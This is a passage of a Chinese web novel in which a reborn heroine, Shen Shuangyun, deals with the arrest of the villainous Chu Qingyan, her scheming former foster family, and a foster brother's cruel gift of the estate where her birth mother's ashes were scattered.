不远处,裴照野担忧地皱了皱小眉头,心想:大哥哥怎么了?他和大姐姐谈什么呢?怎么好像生气了?
难道是,是因为他和大姐姐整治了沈婉音,利用世子妃把她打了,所以生气吗?
啊!!
那可不好。
大哥哥那人,不气则已,一气要比二哥哥还要厉害,骂人骂的贼凶,不行,他得去保护大姐姐。
裴照野赶紧向前去,谁知,刚走两步,就被人拦住了……
第89章 大哥哥,你真是我的亲哥哥
一只白皙柔软的手,挡到了裴照野跟前,他眉头一挑,转向去看,就见史宏飞不知何时,走到他跟前。
微微矮身,凝视过来。
而原本跟在他身边的楚湘雅,却不知去了何处?
“干嘛,拦住小爷干嘛?”
裴照野扬起眉头,凶巴巴地问。
他这态度,倒不是对史宏飞有不满,而是,身为镇国公府的孩子,本能对晋王府未来女婿的敌意而已!
“五公子不要误会,我只是想问问,所谓‘惊马案’,究竟怎么回事?为何会牵扯到楚清晏?”
史宏飞微微蹲身,眉目凝重。
他……
不是担心楚清晏,而是怕那个混帐犯事,连累自己而已。
姐夫小舅子,那可是最近的姻亲。
他……
辛苦二十余年,从来没沾过长姐和晋王府的光,要是被牵连了,可不得怄死!
“你问我?我哪知道,我一个小孩子,朝廷秘事,我大哥也不会跟我说啊。”
裴照野撇撇嘴。
虽然……
大哥和二哥都跟他提过,惊马案和晋王府有关,查出来,肯定要咬掉晋王一块肉,但是,他为什么要告诉楚清晏的小舅子?
他嘴巴很严的。
“大哥的事,不会告诉我,我知道的,不比你多。”
裴照野假装。
史宏飞若有所思,原配嫡妻的孩子跟继室之子间的关系,他有跟史氏的经验,绝对好不了。
哪怕裴家没传出兄弟不合,大概率也是面子情。
他想着,叹息地摸了摸裴照野的头,心里产生了份同病相怜的苦。
裴照野:????
喵?
史宏飞没有多言,而侧头去看裴寂之和沈霜云,这对嫡长兄和庶妹的关系,倒是很亲密,毕竟,就算裴寂之面色冷漠,但眉梢眼角的妥协和无奈,他是不会看错的。
他装了二十年的男人,科举做官,跟天下最精明的男子们争夺利益,藏着身份,博斗至今,靠的就是一双好眼睛。
他发誓,他不会看错。
只是,他不懂,裴寂之明明在意妹妹,怎么肢体动作,反而有些畏惧,不敢靠近呢?
史宏飞拧眉,到没深想,反而抬步上前。
彼时……
裴寂之刚刚听见沈霜云的解释,他沉眉,感觉老太后的确是很难应付,那是个八十多的老太太,又占着太后的身份,任性妄为起来,裴贵妃很难跟她讲出道理。
毕竟,裴贵妃,仅仅只是个‘贵妃’而已,因皇后早逝,她占着六宫大权几十年,在宫里地位仿佛‘皇后’!
那也就是‘仿佛’,并非真是。
况且,哪怕是皇后,面对太后,也天生矮一辈,谁家儿媳妇能犟得过婆婆,至于庆元帝……
呵呵。
老皇帝倒是因为太后偏心晋王,天天明里暗里地提醒他:国赖承嗣,快点接你弟弟的儿子进宫当太子……
这跟提醒老皇帝‘你活不了多久’有什么区别?
镇国公府和晋王府联姻,老皇帝不会答应。
他两家真的敢联手,第一个睡不着的,就是庆元帝了。
“你不必担忧,此事我知晓了,我自会解决,楚清晏……”裴寂之冷笑一声,眉眼浮出鄙夷,“鼠道之辈,也敢妄想我裴家的女儿?”
“真是可笑,痴心妄想,只是…”
他顿了一下,垂眸看向沈霜云,神色复杂,语气却带着丝丝讽刺和试探,“沈霜云,我出手后,自是会彻底断掉楚清晏的妄想,届时,你和他的姻缘在不可能。”
“你可想好了?”
“究竟要不要求我?”
“大哥哥,你还觉得我和他有勾结啊?我都表白真心到这个份儿上了,你还不信?”
面对这么直白的试探,沈霜云都顾不上生气了,只是苦笑不止,她有气无力地摆手道:“你做吧,我这辈子,都不想跟楚清晏扯上什么关系!”
“嫁他?呵呵。”
“我嫁猪嫁狗都不嫁他。”
见裴寂之面色肃然,仿佛不信,沈霜云眼波一转,找出借口,“大哥哥,楚清晏是个什么秉性,你也是知道的,他性情残忍,冷血无情!”
“你听他对我冒犯的那些话,史家姐姐跟他七年时光,他能等着人家死,
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又残暴**,形如恶魔,还纳了沈婉音,我是疯了,要把自己的终身许托给那样一个人。”
“你说我跟他勾结……”
“当主子我也不挑他啊。”
“母亲对我那么好,早早给我准备了京中最好的夫婿人选,十几个,二十几个的摆到我面前,我挑哪个不好?”
“做甚自掘坟墓?”
沈霜云极为真诚。
裴寂之剑眉拧起。
夫婿人选?十几、二十个?沈霜云不是说过,女子嫁人,乃是二次投胎,绝不会轻易妥协吗?怎么就十几、二十个了呢?
是母亲所迫吗?
她想让沈霜云嫁人?呃,也是了,沈霜云已是及笄之年,若是在百姓家里,的确该准备起来了,但她是镇国公府的千金,那么着急干什么?
他们家的女孩儿,多在闺中享几年姑娘福,双十年华过后,在思婚姻之事,也是正常的。
是顾忌临渊和寒声吗?
还是她对谁有了‘淑女之思’,所以才放弃楚清晏?
沈霜云也到了爱慕男子的年纪,裴寂之望着她绯红的面颊,心里突地生出股不悦来,那是身为哥哥,发现妹妹被男子拐走的愤怒吗?
但,他,他又不是亲哥哥,为何还要……
裴寂之脑子恍惚,又立刻放下不合理,仅是专注着想,究竟是谁?
他目光横扫,一下子发现了站在五弟身侧,毫不避嫌,向沈霜云张望的温文公子!
史宏飞?
楚清晏的小舅子,他看沈霜云干什么?
还那么担忧和专注?
那小子不是跟晋王府的姑娘订亲了吗?
他怎么还敢招惹沈霜云?
沈霜云怎么又……总招惹这些麻烦人物?
裴寂之心中郁闷。
沈霜云丝毫不知,他冷硬外面下,居然想了这么多?若她知道,怕是要搬石砸天的喊冤!
她何时招惹麻烦人物了?
楚清晏跟她,除了深仇大恨之外,有什么关系?
史宏飞更是今日才见,怎么裴寂之就把这两人,全按到她头上了!!
她跟楚清晏没有勾结,没有!!
第90章 大哥哥还很厉害的
可惜,沈霜云没有读心术,不晓得外表没有一丝异样的裴寂之,内心如此复杂。
她就是诅咒发誓,把真心表白了一回后。
裴寂之沉默许久,沉声道:“……你既然有了这样的心思,那我知道了。”
“我会尽快进宫,解决此事。”
“好,那谢谢大哥哥了!”
得了裴寂之的承诺,沈霜云心里松了口气。
他……
是有能力,很靠谱的。
前世,镇国公府覆灭,裴家满门抄斩,几乎族灭,可裴寂之却是例外,他不知怎么操作的,居然逃走了,又组织了叛军,北攻草原,占了匈奴半壁江山,成了可汗!
沈霜云身死前,听楚清晏说,裴寂之派了使者过来‘和谈’。
楚清晏大为恼火,当天活活打**三个太监,沈霜云吓得根本不敢往他身边靠,为此,印象深刻。
做为敌人,裴寂之冷硬难缠,可做为盟友,他就相当可靠。
“那,我把终身大事,都托给大哥哥了。”
沈霜云郑重。
裴寂之:……
心里不晓得为何,居然悸动,双眼不受控制地凝向她绯红的脸庞,有两瞬,他的心脏加速跳动,耳后微烫。
是,是……
被妹妹相信着的哥哥,都会如此吗?
裴寂之深深吸气,尽量冷静道:“放心。”
说罢,在不停留,带着手下转身走了。
沈霜云:……
好奇怪,他走得怎么有些僵硬?
不过,赐婚的事,好歹托付出去了,只是,她的命运,也不能完全依赖他人,裴寂之厉害归厉害,终归有裴临渊和裴寒声两人在,记得裴九卿说过,那两人密谋着什么,要找她麻烦呢。
嫁给楚清晏,做他的继室。
这对沈霜云来说,是完全不能接受的,真到了那一步,她大概会选择白刀子进,红刀子出,直接跟楚清晏同归于尽。
所以……
“全赖他人,总是不安心,我还是要查缺补漏,自己在想些办法!”
她喃喃着,刚要回身。
“沈姑娘~”
微微高挑的声音映入耳中,沈霜云一怔,抬眸去看,就见史宏飞不知何时,已然来到她身侧,正低着头看她。
“原是史公子啊,突然唤我,是有何事?”
沈霜云吓了一跳。
史宏飞见状,面带歉意,温声道:“些许小事而已,只是想打听一番,楚世子所犯何事?”
会不会连累他?
“这……”
沈霜云一怔。
觉得不能告诉他,便琢磨着如何婉转拒绝!
远处,裴寂之回眸,刚好看见这一幕。
俊男美女并肩而立,四目相对,一个温文谦和,一个柳眉轻蹙,画面真是赏欣悦目。
但!!
他狠狠拧起眉头。
史宏飞有婚约,他有婚约!!
——
沈霜云终归是把史宏飞推搪过去了。
晋王府的纳妾小宴,也很狼狈的结束了。
楚清晏被抓走,晋王和晋王妃跑进宫找‘亲娘’太后,王府里的真正主子,就剩下个楚湘雅。
然而,身为‘闺阁女子’,她是不好主事的。
尤其这是她哥的纳妾宴。
万般无奈,只好把世子妃请出来。
史氏拖着病体,拉着‘弟弟’史宏飞,向宾客们道歉,好生送离。
裴九卿、裴照野和沈霜云,自然也在其例。
他们离府了。
离开前,沈霜云寻了空隙,给许惠儿留了句话,“改了主意,就来找我,你知道怎么联系。”
她不担心许惠儿是死脑筋,定要留在晋王府。
楚清晏治一切犟种。
真的要没命时,她就会想通的。
许惠儿重重点头,泪眼朦胧。
沈霜云走了,走之前,她还用余光瞅见,乔、周两位侧妃,指挥着丫鬟挟着沈婉音,把她往后院的方向拖。
啧啧啧。
沈婉音啊,沈婉音,沈家盼望那么久,准备那么多的嫁妆,她本人也炫耀多时的‘大喜日子’,却是她先挨了顿好打,随后,夫主也被抓走了!
呵呵。
沈婉音是不是克楚清晏啊!
要不然,明明两个重生者凑到一块儿,按理应该占尽先机,大杀四方的,结果,双双混的不如前生
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。
前世,沈婉音在镇国公府,虽然人人厌恶,过得不好,但裴家人从来没动手打过她,沈家更是爱她如眼珠,捧到掌心般的疼。
但今生,沈婉音挨过多少回打了?
数都数不过来。
楚清晏更是倒霉,他是天之骄子啊,太后一脉两个儿子——庆元帝和晋王唯一的子嗣,前世,别说被押送了,他连上金殿面圣时,都不用下跪,庆元帝压着不过继他,不让他当太子,是帝王心计,可疼,还是相当疼他的。
太后更是恨不得把他顶到头上。
他在府里肆意妄为,杀侍妾婢女如杀猪狗,也没人敢他,素来以刚正,连帝王都敢骂的御史,甚至都不参他。
可见其在宗室里的地位。
前世如此,今生……
就让裴寂之抓了。
还抓得那么光明正大,那么丢人现眼,可见两个重生者凑一块儿,也没能有何作为,反而正正得负。
双双‘落网’。
回程路上,坐在马车里,沈霜云真是憋不住,一个劲儿地捂嘴笑,看得裴九卿和裴照野满脸莫名。
“你怎么了?”
“笑成这样?是在晋王府吃了什么不干净的东西?”
裴九卿扬起形状好看的眉。
沈霜云:……
她沉默片刻,非常诚实的回答,“没事,就是看见楚清晏倒霉,心里忍不住高兴。”
“哦,那你倒挺有几分咱们裴家人的样子。”裴九卿深以为然。
也笑眯眯的。
对脾气不好的他来说,开心的如此明显,是非常难得的。
一来,晋王府落难入坑,裴家人幸灾乐祸,这属于真理。
二来,裴照野和沈霜云两个,跟他坐在一个车厢里,个头都差不多,没有比他高的,这是多罕见的事啊。
抬眼一望,平目就能对视。
真令裴九卿心情舒畅。
裴照野见状,没忍住戳了戳他的胳膊,开口问他,“二哥哥,楚清晏那厮被抓了,陛下能审出他害大哥吗?”
“或许说,陛下会认真审他吗?”
“真审出来了,陛下能惩治他,太后娘娘能容吗?”
第91章 是沈霜云从中做梗
楚清晏没做过恶吗?
晋王府里成片成片死的侍妾婢女,包括仍然在受苦的许惠儿,就是他作恶的证据。
但……
谁能管了?
裴寂之调查‘惊马案’,查到楚清晏的事,裴家人都知道,楚清晏就是幕后黑手,是他要裴寂之的命,这个事实!
不用查,大家也都心知肚明。
以裴寂之的性格,直接出手拿人,应该是有了实证,但能不能把楚清宴治罪,又能治到什么程度?
裴照野一个小儿,都觉得不乐观。
昔日,太子死于厉王兵祸,镇国公府都查到了晋王早知厉王要**,却冷眼旁观,准备坐收渔翁之利。
这是冷眼欲看庆元帝亡。
太子也死在这场祸事里,那是皇帝唯一的儿子,但又如何呢?
晋王也只是被收回宗人令之职,自此在不入朝中掌实权而已,剩下的,有何惩罚吗?
晋王府还是京城里最权贵的人家,是宗室时数一数二的角色。
太子之死,都动不了晋王府,区区一个裴寂之,可以吗?
他……
别说**,连伤都没伤到呢。
裴照野表示:不乐观。
裴九卿闻言,冷冷一笑,眼里浮出凶恶的光,“晋王不好惹,我镇国公府也不是吃素的,这回必要扒楚清晏一层皮。”
果然,哪怕是裴九卿,哪怕事至此,他都不曾想过,‘惊马案’会要了楚清晏的命。
他是庆元帝唯一的同脉血亲,是他同胞弟弟的儿子,就算如今,庆元帝强硬着不肯过继,也不是为了死去的太子,更不是为了裴贵妃。
仅是帝王心术罢了。
其实,他心里看中的太子人选,仍旧是楚清晏,毕竟,换成别的宗室子,庆元帝这一宗就没了。
当初他压下众多庶兄弟,登上皇位,临了临了,因为没儿子,又把皇位传回庶兄弟了,他哪会甘心?
必得给亲近之人才行。
前世,镇国公府的输,与其说是输给晋王,输给太后,输给楚清晏,不如说是输给庆元帝。
哪怕这位老皇帝没有受伤,寿数长到镇国公府支持的那位宗室子成人,裴贵妃能不能把人接进宫里,裴家是否如愿,都是两说。
庆元帝未必会舍弃嫡亲侄子,屈就小宗。
还是得裴寂之认回去啊,楚清晏才会死!
沈霜云垂眸。
裴九卿和裴照野还在商量着,如何给晋王党,如何给楚清晏一个深入骨髓的,血的教训,沈霜云已经琢磨,要怎么让晋府抄家,楚清晏身**!
镇国公府的马车一路前行,很快出了王府街,绕到角门处。
那里,一辆乌盖小车停驻,车旁守着沈家一门。
沈**、周氏、沈墨言、沈宁川和沈今安。
一家五口,一个不少,齐刷刷守在那里,仰望高墙。
今日大喜之事,沈家备着嫁妆,把沈婉音送至王府角门外后……
没人邀请他们来参宴。
楚清晏想着他们未来的成就,倒是想给他们脸面,邀他们坐上席,然而,史氏态度强硬,绝不允许妾的娘家人入府。
“世子爷是视我史氏一族为无物吗?”
晋王妃也不喜欢沈婉音,坚决不给她脸面。
两人都是如此,楚清晏也就从善如流。
他乃天生帝王,有转世重生之幸,普天之下的英才,自该迎风而来,认他为主,沈家虽有大才,却也不过是他臣下奴才。
母妃不愿见,不来就是。
于是,沈氏一族五口,搭人搭嫁人,却连王府大门都进不去,偏偏,周氏等人又惦记沈婉音,不愿离去,一直守着。
他们进不去,也要待在离婉音最近的地方,给那孩子安慰。
女儿/妹妹出嫁,他们怎么能不陪着?
沈家五人苦苦守着,不放过任何细节,自然也看见了裴寂之带人入府,把楚清晏狼狈地押进马车。
“那个方向?他们进宫了!”沈墨言神情惊异。
周氏慌里慌张,“怎么回事?好好的大喜日子,姓裴的怎么会把世子爷压走?”
“娘,你别担心,或许是陛下知道婉音的好日子,有赏赐呢!”沈今安猜测着。
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毕竟,婉音那么美好的女孩子,天下谁会不喜欢。
太后都极爱婉音的。
“可我看见世子脸色不对,不像开怀的样子,而且,而且……”沈宁川拧眉,口中未说的话是!
裴寂之手下那些大兵‘护送’世子爷的模样,可不像传他入宫领赏,反而像是押送。
“裴寂之来的话?难道又是沈霜云为了婉音,想坏她的好日子,才支使裴寂之来捣乱?”
沈今安拧眉猜测,没等家人认同,便气恼咒道:“那小**,就是看不得婉音好,嫉妒成性,恶毒不堪!!”
“真是气煞人。”
“可是,霜云能支使得动裴寂之吗?镇国公府被她蒙骗的,只有裴照野那小崽子,剩下的,都不太看得上她!”
沈墨言疑惑。
相比霜云,裴家众兄弟和谢氏都更喜欢霜云,她们姐妹两个相比,无论从人品相貌,才学秉性,婉音都比霜云强上十倍百倍。
裴家人不爱婉音,反偏向霜云,自然是霜云使了手段,把他们骗了。
可是……
裴寂之那人冷酷无情,霜云有那个本事指使他吗?
“我觉得,不太可能吧。”
“不是沈霜云还是谁?难道是裴寂之自己有毛病,来找晋子世子爷的麻烦吗?哼,他在是陛下爱臣,也只是个奴才而已,世子爷是陛下的亲侄子,是未来的太子爷,是主子!!”
“哪有奴才敢找主子麻烦的?”沈今安嗤笑,满脸不屑地道:“或许,你们想说是陛下让他来抓世子爷?”
“哈哈哈哈,简直就是笑话。”
“陛下可是世子爷的亲大伯,更何况,还有太后娘娘在,世子爷又没**,谁敢抓他啊?”
“还是沈霜云从中作梗!!”
沈今安断然。
沈宁川和沈墨言面面相觑,最终都默认了,“那咱们现在怎么办?今日是婉音的洞房花烛,最好的日子,不能眼睁睁看着沈霜云作梗,把世子爷拘个整夜?”
“婉音得多委屈?”
“爹,咱们要不是去找沈霜云……”
第92章 他们已经比不上霜云了
“当然要找!!”
沈今安拍案。
周氏抹眼泪,“呜呜呜,我的婉音啊,都委屈自己作妾了,还要受霜云这样的羞辱,那是她亲妹妹啊,她怎么舍得?”
“霜云性子不好,心胸窄小,咱们都知道啊,她对哥哥都不敬,更何况是婉音?”
沈墨言想起几次被裴家子羞辱,沈霜云都冷眼旁观,甚至,她自己都动手打过人。
不由叹息。
颇有往日不堪回首,被深深辜负的痛苦。
“可是这个时辰了,咱们能敲动镇国公府的大门吗?谢氏那妇人是个蠢的,被沈霜云欺骗,对她甚好……”
沈今安咬唇。
沈**扶须,拧眉细想,刚想说话,突地就见镇国公府的马车,从不远处的大道上驶去。
“裴家人!!沈霜云!!”
“快,快追!”
他大喝,飞身进车厢。
沈家人一怔,随后也看见了,周氏不敢耽误,连忙回身上车,不等坐稳呢,沈墨言已经坐上车辕,扬鞭打马了。
‘嘶’!
良马嘶鸣,‘哒哒哒哒’地往前跑。
马车驶动。
“哎,大哥,爹,娘,等等我们,我和二哥还没上车呢。”
沈今安惊声,掀起袍子去追。
沈宁川捂了捂额。
他们……
当然是没追上的。
毕竟,镇国公府的马车,乃是国公规阁,拉车的是四匹骏马,沈家是商户,乌盖小车,一匹良马。
瘦瘦小小的,要拉三个人和一辆车。
它哪快得了啊?
沈今安和沈宁川稍微加快点脚步,就追上了自家马车,沈墨言把马鞭甩出火星子了,结果……
离镇国公府的马车,越来越远,只能看着人家的马蹄灰,望而不及。
“爹,我们,我们现在怎么办?”沈墨言停手,茫然回身。
沈**咬牙,思量许久,狠狠锤了锤车厢,“等等吧,待过几日,看看宫中究竟是何情况,在做打算。”
“哎。”
沈家众人不甘应声,心里**不是滋味。
什么时候?他们,他们居然差了沈霜云那么多,沈霜云能入王府为贵宾,他们却要狼狈蹲在府墙外,沈霜云坐车四马大车,他们追都追不上,甚至,父亲想见他,都要考虑是否深夜,能不能进门?
沈霜云好像真成公府贵女,成了那些他们攀都攀不上的人物,就像昔日,他们兄弟卑微求人,拿到贵族请帖,参加宴会时,那些聚焦一处,高高在上,锦衣华服,骄傲凛人……
他们看看衣角,都会有丫鬟前来警告的千金贵女一样。
沈墨言心里突地一阵阵发慌,像是恐惧失去,又仿佛畏惧权势。
他打了个哆嗦,喃喃劝着自己。
“不,不,她是沈霜云,是那个嫉妒婉音,卑微**,放下所有尊严,用尽一切办法,想讨得我来欢心的沈霜云!”
“她是沈家养女,是我们的妹妹,不是旁的,不是!”
“大哥,你自己在那儿嘟囔什么呢?”
一旁,沈今安没好气地回。
这一句叫回了沈墨言的神志,他狠狠喘气,失笑道:“没事没事,一时想岔了,可笑,真是可笑。”
居然觉得霜云是贵女了。
——
沈霜云不知道自家马车后头,曾经追着沈家人,她跟着裴九卿和裴照野回到镇国公府时。
天已经黑了。
进府后,裴九卿先跟他们说了句,“我在晋王府得了些‘女鬼**案’的线索,就不去打扰母亲了。”
“你们替我向母亲道个歉。”
“好的。”沈霜云应声,心想:原来裴九卿在晋王府‘失踪’,是因为这个,“二哥哥放心。”
“二哥哥,你得了什么线索了?”
裴照野好奇。
裴九卿揉了揉他的头,笑容宠溺,语气冰冷,“这事不是你个小孩子该知道的,案件了解再告诉你。”
“别问了。”
“那是正事呢。”
说罢,转身就走。
裴照野不满地嘟唇,冲他吐了吐舌头,旋即,带着沈霜云一块往正院去,给谢夫人报平安了。
他们跟谢夫人聊了聊晋王府的‘热闹’。
包括且不限于怎么打的沈婉音,怎么抓
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得楚清晏,晋王和晋王妃怎么气的进宫去找‘妈妈’,史氏又如何病弱?
谢夫人面色轻淡,含笑吟吟。
模样仿佛纵容小儿胡闹,实则……
耳朵一直竖着,认认真真地听,偶尔还眯眯眼睛,露出想接着听后续的神情。
裴照野端着白水,小嘴‘叭叭叭叭’说个不停。
沈霜云乖巧坐着,偶尔补充一句,直到把所有‘热闹’说完,谢夫人弯了弯眉眼,露出舒畅神情,她叹了口气,“史氏,唉,真是可惜了,闺阁时,算是个明媚的姑娘,结果……”
所嫁非人。
许了个中山狼,自己也命不长久。
沈霜云微微垂眸,不言不语。
楚清晏固然是个恶魔,但史氏就算好人吗?
也未见得吧。
谢夫人满足八卦心,感慨片刻,见天色不早,便谴两人回去。
沈霜云和裴照野自然告辞,姐弟俩手拉着手离开。
裴照野,“大姐姐,我送你回去!”
沈霜云推辞:……
没推辞掉,两人穿过花园,往闲云阁走时,商量了下骆明哲的事儿。
那半瞎练家子,就是楚清晏的侍卫,所以……
“是楚清晏把骆明哲的尸首弄走的吗?为什么?丹雪姐的事,楚清晏不该知道啊?”
裴照野很迷茫。
沈霜云蹙眉,回想前世的记忆,赵丹雪和骆明哲之事,楚清晏的确是不知道,也不该插手。
她想了想,“还是查一查那个侍卫吧,或许,是他和骆明哲有关系。”
“大姐姐,你说的也有道理。”裴照野若有所思,重重点头,“那成,待明天我就去找盈盈。”
“我们两个想办法查。”
“嗯。”
沈霜云应声,心里琢磨着,要动一动自己在晋王府收买的人。
不止是半瞎侍卫,还有许惠儿,都要查一查。
两姐妹商量定了,也到降云阁,裴照野朝她挥挥手,打道离去,沈霜云独自回院,刚入了屋。
裴寒声扬着一张似笑非笑的脸,迎了上来。
“大妹妹真是让我好等啊……”
第93章 把你娘挫骨扬灰
裴寒声?
怎么是他?
沈霜云一怔,本能地转头张望。
奇怪,怎么没看见裴临渊?他俩不是一贯‘夫唱妇随’,爱一同找自己的麻烦吗?
“大妹妹是找你三哥哥吗?他在军营不曾回来,托我替他给你道个好儿呢。”裴寒声仿佛明白沈霜云的意思,浅笑一声。
语气温和。
然,笑容却不达眼底。
看着就阴测测的。
沈霜云抿唇,深深吸气,把精神调动起来,谨慎问道:“四哥哥漏夜前来,不知有何贵干?”
“是有何事,要叮嘱小妹吗?”
对!!
明知道裴寒声厌恶自己,绝不认自己做妹妹,但沈霜云就要叫他‘四哥哥’,不为别的,就是想恶心他,让他难受。
谁让这家伙大半夜来打扰她?
今儿在晋王府看了一天的‘热闹’,她已经很累了,只想好好睡一觉,裴寒声非要找茬儿。
他不会等白天吗?
多没眼色。
裴寒声神色一凛,眼里浮出浓浓的不悦,一声‘四哥哥’,真是叫得他浑身上下不舒服。
不止是厌恶,而是……
‘哥哥’两字,提醒着他,他在针对伤害的,是自己的骨肉亲血。
“大妹妹~”
他垂下眼眸,不去看沈霜云的眼睛,语气慢条斯理,“今夜我来寻你,是为了贺大妹妹的芳辰!”
芳辰?
生日吗?
沈霜云抿唇,试探地道:“四哥哥记错了,我的生日是明天。”
所有想作妖的话,明天在来好吗?
等她睡足了。
“大妹妹芳辰是何时,我自然知道,只是听闻,母亲、二哥和四弟都已经提前给了大妹妹礼物。”
裴寒声顿声,语气加重,意味深长地道:“尊贵的礼物。”
谢夫人的良田辅子,二哥的店辅,照野的御赐珍宝。
那是在沈氏皇商家里养大的‘姑娘’,一辈子碰都碰不到的东西!
裴寒声眼皮子不浅,那点辅子良田,他没看在眼里,裴家五兄弟的私房,就算是最穷最小的裴照野,也比这个要多要十倍百倍,他在意只是赠生辰礼的背后,表现出的重视。
母亲!
照野!
二哥!
最重要的就是二哥,他何时竟倒向沈霜云一边,可恨他前几日询问时,那小挫子还口口声声,不曾‘叛变’!!
今日却到去晋王府,给沈霜云当‘护卫’了!?
裴寒声心里暗恼,口气却是越来越温柔了,他笑吟吟地从怀里掏出个匣子,直接放到桌上,温和的道:“母亲、二哥和照野送了,我和你三哥自然不好怠慢,便特意寻了个郊外的小庄子,送给大妹妹。”
“日后大妹妹若想避暑游玩,便能去小住一番。”
“庄子?”
沈霜云轻声,眸光垂向那匣子。
裴临渊和裴寒声会送她庄子?那么好吗?不会是附近有什么土匪山寨,山君猛兽之类的。
想要不着痕迹地弄死她吧?
“真的送我?”
她怎么那么不信呢。
“自然了。”
裴寒声笑得眯起眼睛,仿佛很是喜悦的样子,他道:“此庄名曰‘桃花’,就在京城五里坡外,百年前就是镇国公府的产业了。”
“那小庄子是两进的,依附千亩良田而建,庄内有奴仆二十人,佃户两百余,一并送给大妹妹使唤。”
两进的庄子,千亩良田,还有下人和佃户,尤其是京郊附近的,这份生辰礼,单论价值,比之谢夫人给的都要多。
怎么可能呢?
沈霜云不愿敢相信啊,裴寒声能真心送她好东西,母猪都能上树了,不会是……
庄子的归属有问题吧?
是从谢夫人,或许照野那里‘抢’来给她,想挑拔她们母子、姐弟的关系?
“二哥哥送得重礼,小妹无功无劳,怎敢领受?”
“还是物归原主吧。”
沈霜云试垂眸。
裴寒声像是正在等她这一句,笑容骤然变得冷漠,他意味深长地道:“大妹妹不用害怕,这个庄子乃是母亲的嫁妆,遗留给我,我再转送大妹妹,我便是‘原主’,自是无妨的。”
“你是我的妹妹,哥哥送妹妹生辰礼物,需
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要什么功呢?”
谢夫人的嫁妆?
沈霜云一怔,旋即反应过来,裴寒声说的这个‘母亲’,不是谢夫人,而是先夫人白氏。
但……
白氏的嫁妆,怎么会给自己这个杀身仇人的女儿?、
更不对了啊。
她心里越发警惕,连连推辞。
裴寒声失笑,做出副无奈的样子,叹息道:“……大妹妹这般谦和,可是把我当外人了?上回百花宴的那点小事,大妹妹还在放在心上,不曾释怀吗?”
“我可没把大妹妹当外人,那庄子的确有些小小的不妥当!”
嗯?
有不妥?
那反而妥了~
沈霜云放心地问,“不知有何不妥?”
裴寒声会直接告诉她吗?
还是留着坑她?
感觉不接不行呢。
“哈哈,那庄子里收留了厉王**时,为镇国公府负伤,或身的奴仆家眷为管事,亦有不少人做庄丁~”
裴寒声沉声。
沈霜云恍然。
哦,是要把自己这个‘罪妾之女’,塞到这帮人里面受羞辱吗?
要知道,昔日柳姨娘能带着她们逃出府,也是受这些家丁奴仆们保护,偏她遇袭时杀主母,弃家族,还把孩子们和自己的命全丢了……
“……在厉王之祸中,这些忠仆受了不少的罪,有些全家皆亡,为了平息他们的怒火,父亲便把一罪人挫骨扬灰,撒满庄园土地,令来往农奴和仆从踩其骨,踏其肉,永世赎罪。”
裴寒声看着沈霜云,笑容由为冰冷,“如今,那罪人之灰,依然漫布满庄,大妹妹一个姑娘家,得了庄子,可能会害怕~”
“毕竟,那人跟你关系非浅……”
“四哥哥说的人是谁?”
沈霜云抿唇,心中不好的预感骤生。
她已经有了猜测,但却不愿意相信!
“哈哈哈,大姐姐觉得呢?”裴寒声大笑,终于露出心中恶意,他毫不掩饰,一字一顿地道:“厉王**中的罪人,以大妹妹之智,应该能猜得到才对。”
“自然就是,你的生母,柳氏贱婢!”
第94章 两家调换……
柳姨娘!
被挫骨扬灰,撒到庄子里任人践踏的罪人,就是沈霜云的生母柳姨娘。
如今,裴寒声又要把这庄子送给她……
送她干什么?
让她去亲眼去见,自己生母被万人践踏吗?
或是想激她恼怒,处置庄子里的‘功臣’们,让她被父兄们厌嫌?
有可能单纯就是想让她痛彻心肺,哭泣难堪?
沈霜云垂眸,尽量压抑着翻涌的心绪,扯出笑容,她道:“那真是多谢四哥哥,居然把我姨娘的‘埋骨之地’,赠送给我。”
“日后,我若祭拜姨娘,也有个归处,免得像如今这般,像个蒙头苍蝇,四哥哥全我女儿之心,真是急我所急~”
“四哥哥太好了。”
“我就厚颜收下了,过后,请四哥哥替我谢谢三哥。”
“我真是太喜欢这份厚礼了~”
沈霜云笑着从桌上拿起匣子,面上露出一副感动的模样!
哪怕心里已经翻江倒海了,她也不要在裴寒声面前露怯,这个死狐狸,就想看她难受!
她才不要呢。
沈霜云倔强地想。
见她如此‘无耻’,竟有几分汉帝‘分我一杯羹’的架势,裴寒声都气笑了,眸光上下打量,见沈霜云面色如常,所出之言,仿佛全是真心般……
他咬了咬,旋即,嗯?
那手背上暴出的青筋是什么?
果然,伪装的吧。
裴寒声眉头一挑,心中升起的怒意,突地又平顺了,他勾着唇,皮笑肉不笑道:“好啊,大妹妹的确是‘孝顺’的,我相信,父亲若是能回来,见你如此‘深明大义’,也一定会很欣慰。”
“二哥说得对,你和柳氏贱婢果然不同,今日,我到对你刮目相看了。”
“你对你三哥的感激,我会带给他的,大妹妹接手了庄子后,也要多去踏踏贱婢之骨肉,以祭我镇国公府丧生的忠魂。”
他说罢,扬长在笑而去。
看着他的背影拐出降云阁,沈霜云的笑脸瞬间撂了下来。
她的指尖,死死抠住那匣子。
许久,被裴寒声驱赶的降云阁奴仆们回来了,桃心桃核小心翼翼凑到沈霜云身边,轻声唤她,“姑娘?”
“大姑娘,您,您没事吧?”
沈霜云回神,看了她们一眼,神色仍旧微冷。
桃心抿唇,深深垂头。
桃核小声,“大姑娘,奴婢们刚刚去求见了二公子,二公子派了小厮过来……”
她们是大姑娘的贴心丫鬟,降去阁的奴仆,却在四公子的驱赶下,尽数离开,独留大姑娘一个~
但她们真的不是不忠,她去找二公子了,桃心也带人去求了夫人!
“罢了,你们先退下吧。”
沈霜云叹息。
裴寒声是府里正经的主子,又有他和裴临渊在她院中,当着丫鬟们的面,诛杀柳家老夫妻之事。
桃心桃核身为婢女,不敢抵抗他的命令,也无可厚非。
只是……
她得想办法,收些家臣了!
不是丫鬟,不是奴仆,而是真正会忠于她,为她卖命的家臣侍卫。
庆元帝赐她的宅子里,带了些内务府出的奴仆,母亲赠的庄子,也带了田奴!
沈霜云思量着,亲自出院,把谢氏派来的徐嬷嬷和裴九卿的小厮都好言打发走了,这才回屋。
桃心桃核服侍她洗漱换衣,她坐到床塌里,半阖眸子,平息许久,这才打开裴寒声送来匣子。
柳姨娘!
柳翠枝!
沈霜云和沈婉音的亲生母亲,前世,骤然得知生母后,沈霜云自然也是好奇过的。
她是个重亲情的性子,沈家父兄和沈婉音那样的人,都能被她寄托亲情,更何况是亲生母亲。
刚刚做楚清晏侍妾时,命都顾不上,后来情况稍好,她就想尽办法打听过柳翠枝其人!
她……
